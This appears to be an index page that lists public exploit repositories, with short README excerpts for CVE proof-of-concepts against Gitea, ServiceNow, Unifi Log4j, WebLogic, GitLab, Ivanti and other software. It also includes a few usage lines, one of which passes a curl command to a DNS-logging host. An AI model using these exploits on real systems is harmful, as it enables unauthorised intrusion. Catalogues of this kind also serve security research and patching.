DVS

DCOM Vulnerability Scanner AKA Devious swiss army knife - Lateral movement using DCOM Objects Did you ever wonder how you can move laterally through internal networks? or interact with remote machines without alerting EDRs? Let's assume that we have a valid credentials, or an active session with...

CVE-2026-60004

CVE-2026-60004 Gitea diffpatch RCE ★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★ https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b Overview CVE-2026-60004 is a Remote Code Execution RCE vulnerability in Gitea. The diffpatch API applies a supplied patch with git...

CVE-2020-29607

CVE-2020-29607-Exploit Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution Authenticated CVE description: A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin privileged user to gain access in the host through the "manage files" functionality,...

CVE-2025-27363

CVE-2025-27363 on Chrome 113 Note: In chrome, this is not a new vulnerability, it was patched roll-up commit in March 2023. This PoC targets only chrome headless mode. However, I think it's an interesting read if you want to explore some internals and see the exploitation on PartitionAlloc when y...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow is a platform for business transformation which helps companies manage digital workflows for enterprise operations. CVE-2024-4879 could allow an unauthenticated user to remotely execute code within the Now Platform. This vulnerability exploits three issues by...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - Arbitrary File upload Description The Instant Appointment plugin for WordPress is vulnerable to Arbitrary File upload in versions up to, and including, 1.2. This makes it possible for unauthenticated attackers to upload a shell and...

CVE-2024-27348-Apache-HugeGraph-RCE

Remote Code Execution vulnerability in Apache HugeGraph Server CVE-2024–27348 CVE-2024-27348 is a critical Remote Command Execution RCE vulnerability in Apache HugeGraph Server, a popular graph database system. The flaw resides in the Gremlin traversal language interface, which allows users to...

Log4jUnifi

Log4jUnifi Exploiting CVE-2021-44228 in Unifi Network Application for remote code execution and more. Another Log4j on the fire: Unifi Why? Proof of concepts for this vulnerability are scattered and have to be performed manually. This repository automates the exploitation process. See the blog po...

git-lfs-RCE-exploit-CVE-2020-27955-Go

Git-lfs Remote Code Execution RCE exploit CVE-2020-27955 Go version Vulnerable: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Discovered by Dawid Golunski https://legalhackers.com https://exploitbox.io Tested on Windows on: git, GitHub CLI gh, GitHub...

exploit_laravel_cve-2018-15133

Laravel exploit for CVE-2018-15133 This code exploit CVE-2018-15133 and it is based on kosmiz's PoC and Metasploit's exploit for this vulnerability. I pretty much just did this for a box in Hack The Box, because I did not want to use Metasploit at the moment and as a excuse for practicing Python...

CyberPanel-RCE

CyberPanel-RCE Exploit for CyberPanel RCE found on v2.3.6 More information availabe on my blog: https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce...

CVE-2026-24061

CVE-2026-24061 Telnet RCE Exploit - By SafeBreach Labs This script exploits the CVE-2026-24061 vulnerability in Telnet servers using a malformed USER environment variable. Usage Run the script with a target host: python telnetrce.py -p Arguments host: Target IP address or hostname required -p,...

CVE-2025-1094-Lab-Setup

🛠️ CVE-2025-1094 Lab Setup ⚠️ Disclaimer This lab is for educational and research purposes only. Do NOT use any of the information or techniques demonstrated here on systems you do not own or have explicit permission to test. Unauthorized use of these methods may violate laws and result in severe...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDI injection getDatabaseMetaData Project depends on https://github.com/5up3rc/weblogiccmd Demo Require 1. JDK Version JDK6u211/7u201/8u191 2. Weblogic Version 12.2.1.4.0 Do not use illegally!!!!!!!! Reference 1...

CVE-2023-46805_CVE-2024-21887

CVE-2023-46805CVE-2024-21887 The script in this repository checks and exploits CVE-2023-46805 Auth Bypass and CVE-2024-21887 Remote Code Execution vulnerabilities specified in the Ivanti Connect Secure product exist. You can check vulnerability details this link...

Optiva-Framework

Optiva-Framework 🕵️ Web Application Scanner 💉 Author : Joker-Security dev-labs ✔️ Description : You can use this Framework on your website to check the security of your website by finding the vulnerability in your website or you can use this tool to Get admin panel search SQL injection by dork As...

CVE-2022-22965

CVE-2022-22965 Spring Framework/CVE-2022-22965 Vulnerability ID: CVE-2022-22965/CNVD-2022-23942/QVD-2022-1691 Reproduce the vulnerability docker pull vulfocus/spring-core-rce-2022-03-29 docker run -dit -p 8080:8080 vulfocus/spring-core-rce-2022-03-29 Vulnerability detection POC It is recommended ...

CVE-2023-43177

CVE-2023-43177 CrushFTP = 10.5.1 Remote Code Execution This repository holds the proof-of-concept RCE exploit developed during research...

CVE-2019-2725

CVE-2019-2725 CVE-2019-2725 CNVD-C-2019-48814, WebLogic wls9-async Command Echo 10.3.6 12.1.3 ResultBaseExec.java Used for testing defineClass. It will recover the malicious class from base64 and execute the code, mainly for convenience optional. JDK7u21.java Generates the XML in...

CVE-2021-22205

CVE-2021-22205 Affected versions: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage python3 CVE-2021-22205.py target "curl \whoami.dnslog" Get csrf-token: Obtain the csrf-token via /users/signin, then use the previous CVE-2021-22205 POC to construct and execute an unauthenticated...